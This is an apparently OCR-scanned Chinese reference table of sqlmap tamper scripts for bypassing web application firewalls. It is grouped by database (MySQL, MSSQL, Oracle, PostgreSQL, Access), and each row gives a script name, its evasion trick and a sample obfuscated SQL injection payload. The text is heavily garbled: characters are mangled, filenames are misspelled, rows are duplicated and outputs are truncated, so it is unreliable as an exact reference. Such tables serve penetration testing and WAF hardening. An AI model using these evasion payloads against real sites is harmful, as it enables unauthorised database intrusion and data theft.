SQLmap绕waf脚本

2021年6月1日 10:58

古技的新银床	编号	脚本名称	At EE	介加左 ≠
支持的数据库	1	apostrophemask.py	作用 用utf8代替引号	实现方式 ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC %EF%BC%871'
	2		用base64编码替换	("1' AND SLEEP(5)#")
		base64encode.py		'MScgQU5EIFNMRUVQKDUplw=
	3	multiplespaces.py	围绕SQL关键字添加多个空格	('1 UNION SELECT foobar')
		тапросрассо.ру		'1 UNION SELECT foobar'
	4	space2plus.py	用+替换空格	('SELECT id FROM users')
				'SELECT+id+FROM+users'
011	5	nonrecursivereplacement.py	双重查询语句。取代predefined SQL关键字with表示	('1 UNION SELECT 2')
all		noncodistoreplacement.py	suitable for替代(例如 .replace ("SELECT"、"")) filters	'1 UNIOUNIONN SELESELECTC
			代替空格字符(***)从一个随机的空	('SELECT id FROM users')
	6	space2randomblank.py	白字符可选字符的有效集	'SELECT%0Did%0DFROM%0Au
	7	unionalltounion.py	替换 UNION ALL SELECT UNION SELECT	('-1 UNION ALL SELECT')
				'-1 UNION SELECT'
				('1 AND 1=1')
	8	securesphere.py	追加特制的字符串	"1 AND 1=1 and '0having'='0havir
	1	space2hash.py	绕过过滤=' 替换空格字符("), ('-') 后跟一个破折号注释,一个随机 字符串和一个新行('n')	'1 AND 9227=9227'
				'1nVNaVoPYeva%0AAND
	2		like 代替等号	ngNvzqu%0A9227=9227' * Input: SELECT * FROM users V E id=1
		equaltolike.py		2 * Output: SELECT * FROM use HERE id LIKE 1
			から無仏士はかかりひ口	Input: SELECT id FROM users
	3	space2mssqlblank.py(mssql)		Output: SELECT%08id%02FRONusers
			空格替换为其它空符号	('1 AND 9227=9227')
	4	space2mssqlhash.py		'1%23%0AAND%23%0A9227=92
	5		質換型格 用between替換大于号(>)	('1 AND A > B')
mssql		between.py		'1 AND A NOT BETWEEN 0 AND
	6		asp允许每个字符前面添加一个%号	* Input: SELECT FIELD FROM TA
		percentage.py		* Output: %S%E%L%E%C%T % E%L%D %F%R%O%M %T%A% %E
	7		追加sp_password'从DBMS日志的自动 模糊处理的有效载荷的末尾	('1 AND 9227=9227 ')
		sp_password.py		'1 AND 9227=9227 sp_passwor

	_	I .	追加sp_password'从DBMS日志的目动	r ·
	7	sp_password.py	模糊处理的有效载荷的末尾	'1 AND 9227=9227 sp_password'
	8	charencode.py	url编码	* Input: SELECT FIELD FROM%20TAB LE
				* Output: %53%45%4c%45%43%54% 20%46%49%45%4c%44%20%46%52 %4f%4d%20%54%41%42%4c%45
		randomcase.py	随机大小写	* Input: INSERT
	9			* Output: InsERt
	10	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TAB LE
				* Output: %u0053%u0045%u004c%u0 045%u0043%u0054%u0020%u0046% u0049%u0045%u004c%u0044%u0020 %u0046%u0052%u004f%u004d%u002 0%u0054%u0041%u0042%u004c%u0 045'
	11	space2comment.py	Replaces space character (' ') with comments '/**/	* Input: SELECT id FROM users
				* Output: SELECT//id//FROW**/users
	1	equaltolike.py	like 代替等号	* Input: SELECT * FROM users WHER E id=1
	-			2 * Output: SELECT * FROM users W HERE id LIKE 1
	2	greatest.py	绕过过滤ン、用GREATEST替换大于号。	('1 AND A > B')
		greatest.py		'1 AND GREATEST(A,B+1)=A'
	3	apastrophonulloncodo nu	经过过添加引导 基格查拉和加 引导	tamper("1 AND '1'='1")
	•	apostrophenullencode.py	绕过过滤双引号,替换字符和双引号。	'1 AND %00%271%00%27=%00%271'
	4	ifnull2ifisnull.py	绕过对 IFNULL 过滤。	('IFNULL(1, 2)')
			替换类似'IFNULL(A, B)'为 'IF(ISNULL(A), B, A)'	'IF(ISNULL(1),2,1)'
	6	space2mssqlhash.py	替换空格	('1 AND 9227=9227')
				'1%23%0AAND%23%0A9227=9227'
	6	modsecurityversioned.py	过滤空格,包含完整的查询版本注释	('1 AND 2>1')
				'1 /*I30874AND 2>1*/'
	7	space2mysqlblank.py	空格替换其它空臼符号(mysql)	Input: SELECT id FROM users
				Output: SELECT%0Bid%0BFROM%A0 users
		between.py	用between替换大于号(>)	('1 AND A > B')
	8			'1 AND A NOT BETWEEN 0 AND B'
	9	modsecurityzeroversioned.py	包含了完整的查询与零版本注释	('1 AND 2>1')
	9	modecumy2croversioned.py		'1 /*!00000AND 2>1*/'
	10	space2mysqldash.py	替换空格字符(*)('-')后跟一个破折号注释一个新行('n')	('1 AND 9227=9227')
				'1%0AAND%0A9227=9227'
MySQL >= 5.	11	bluecoat.py	代替空格字符后与一个有效的随机空白字符的SQL语句。	('SELECT id FROM users where id = 1')
1.13			然后替换=为like	'SELECT%09id FROM users where id LIKE 1'
	12	percentage py	asp允许每个字符前面添加一个%号	* Input: SELECT FIELD FROM TABLE
				* Output: %S%E%L%E%C%T %F%I% E%L%D %F%R%O%M %T%A%B%L %E
	13	charencode.py	url编码	* Input: SELECT FIELD FROM%20TAB LE
				* Output: %53%45%4c%45%43%54% 20%46%49%45%4c%44%20%46%52 %4f%4d%20%54%41%42%4c%45
		I	1	

			L	r input: INSERT
	14	randomcase.py	随机大小写	* Output: InsERt
				* Input: 1 UNION ALL SELECT NULL, N ULL, CONCAT(CHAR(58,104,116,116, 58),IFNULL(CAST(CURRENT_USER()
	15	versionedkeywords.py	Encloses each non- function keyword with versioned MySQL comment	* Output: 1/* UNION** ALL** SELECT* * NULL*/,"INULL*/, CONCAT(CHAR(5 8,104,116,116,58), FNULL(CAST(CUR RENT_USER()/* AS** CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
			Replaces space character (* ') with comm	* Input: SELECT id FROM users
	16	space2comment.py	ents '/**/	* Output: SELECT//id//FROM**/users
				* Input: SELECT FIELD%20FROM TAB LE
	17	charunicodeencode.py	字符串 unicode 编码	* Output: %u0053%u0045%u004c%u0 045%u0043%u0054%u0020%u0046% u0049%u0045%u004c%u0044%u0020 %u0046%u0052%u0047%u0044%u002 0%u0054%u0041%u0042%u004c%u0 045'
	18	versionedmorekeywords.py	注释绕过	"Input: 1 UNION ALL SELECT NULL, N ULL, CONCAT(CHAR(58,122,114,115, 58),IFNULL(CAST(CURRENT_USER), AS CHAR),CHAR(32)),CHAR(58,115,1 "Output: 1/"IUNION"IALL"*ISELECT" "INULL"/,"INULL"/,"ICONCAT"/("ICH AR"/(58,122,114,115,58),"IIFNULL"/(C AST(/"ICURRENT_USER"/()"IAS"*IC HAR"),"ICHAR"/(32)),"ICHAR"(58,1
MySQL < 5.1	19	halfversionedmorekeywords.py	关键字前加注释	"Input: value' UNION ALL SELECT CO NCAT(CHAR(58,107,112,113,58),IFNU LL(CAST(CURRENT_USER() AS CHA R), CHAR(32)),CHAR "Output: value'/"10UNION/"10ALL/"10S ELECT/"10CONCAT/"10CHAR(58,107, 112,113,58),"10IFNULL(CAST(/"10CUR RENT USER()/"10AS/"10CHAR),"10C
	20	halfversionedmorekeywords.py	当数据库为mysql时绕过防火墙,每个 关键字之前添加	1. ("value" UNION ALL SELECT CONCA T(CHAR(58,107,112,113,58),IFNULL(C AST(CURRENT_USER() AS CHAR),C HAR(32)),CHAR(58,97,110,121,58)), N
			mysql版本评论	2."value"/*10UNION/*10ALL/*10SELECT/ *10CONCAT(/*10CHAR (58,107,112,113,58),/*10IFNULL(CAST(/*10CURRENT_USER()/*10AS/*10CHA
MySQL >= 5. 1.13	21	space2morehash.py	空格替换为 #号 以及更多随机字符串 换 行符	* Input: 1 AND 9227=9227 * Output: 1%23PTTmJopxdWJ%0AAN
				D%23cWfcVRPV%0A9227=9227
	1	greatest.py	绕过过滤>',用GREATEST替换大于号。	('1 AND A > B')
				'1 AND GREATEST(A,B+1)=A'
	2	apostrophenullencode.py	绕过过滤双引号,替换字符和双引号。	tamper("1 AND '1'='1")
				'1 AND %00%271%00%27=%00%271'
	3	between.py	用between替换大于号(>)	('1 AND A > B')
				'1 AND A NOT BETWEEN 0 AND B'
Oracle	4	charencode.py	url编码	* Input: SELECT FIELD FROM%20TAB LE
				* Output: %53%45%4c%45%43%54% 20%46%49%45%4c%44%20%46%52 %4f%4d%20%54%41%42%4c%45
	5	randomcase.py	随机大小写	* Input: INSERT
				* Output: InsERt
	6	charunicodeencode.py	字符串 unicode 编码	* Input: SELECT FIELD%20FROM TAB LE
				* Output: %u0053%u0045%u004c%u0 045%u0043%u0054%u0020%u0046% u0049%u0045%u004c%u0044%u0020

1		I	I	00 - 00 400 - 00 500 - 00 400 - 00 040 - 00 0
				%u0046%u0052%u004f%u004d%u002 * Input: SELECT id FROM users
	7	space2comment.py	Replaces space character (' ') with comments '/**/	Input. SELECT id PROMusers
			ments / /	* Output: SELECT//id//FROM**/users
	1	greatest.py	绕过过滤>' ,用GREATEST管换大于号。	('1 AND A > B')
				'1 AND GREATEST(A,B+1)=A'
	2	apostrophenullencode.py	绕过过滤双引号,替换字符和双引号。	tamper("1 AND '1'='1")
				'1 AND %00%271%00%27=%00%271'
	3	between.py		('1 AND A > B')
			用between替换大于号(>)	'1 AND A NOT BETWEEN 0 AND B'
				* Input: SELECT FIELD FROM TABLE
	4	percentage.py	asp允许每个字符前面添加一个%号	* Output: %S%E%L%E%C%T %F%I% E%L%D %F%R%O%M %T%A%B%L %E
PostgreSQL	5	charencode.py		* Input: SELECT FIELD FROM%20TAB LE
			url编码	* Output: %53%45%4c%45%43%54% 20%46%49%45%4c%44%20%46%52 %4f%4d%20%54%41%42%4c%45
	6	randomcase.py	GI 158 ar	* Input: INSERT
			随机大小写	* Output: InsERt
	7 charunicodeencode.py		NG 097C 3	* Input: SELECT FIELD%20FROM TAB LE
		charunicodeencode.py	字符串 unicode 编码	* Output: %u0053%u0045%u004c%u0 045%u0043%u0054%u0020%u0046% u0049%u0045%u004c%u0044%u0020 %u0046%u0052%u004f%u004d%u002
			于19年 unicode 编码	0%u0054%u0041%u0042%u004c%u0 * Input: SELECT id FROM users
	8	space2comment.py	Replaces space character (' ') with comments '/**/	* Output: SELECT//id//FROW**/users
A	1	appendnullbyte.py	在有效负荷结束位置加载零字节字符编 码	('1 AND 1=1')
Access				'1 AND 1=1%00'
其他		chardoubleencode.py	双url编码(不处理以编码的)	* Input: SELECT FIELD FROM%20TAB LE * Output: %2553%2545%254c%2545 2543%2554%2520%2546%2549%254 5%254c%2544%25520%2546%2552%2 547%254d%2520%2554%2541%2542
		unmagicquotes.py	宽字符绕过 GPC addslashes	* Input: 1' AND 1=1 * Output: 1%bf%27 AND 1=1–%20
		randomcomments.py	用/**/分割sql关键字	'INSERT' becomes 'IN//S//ERT'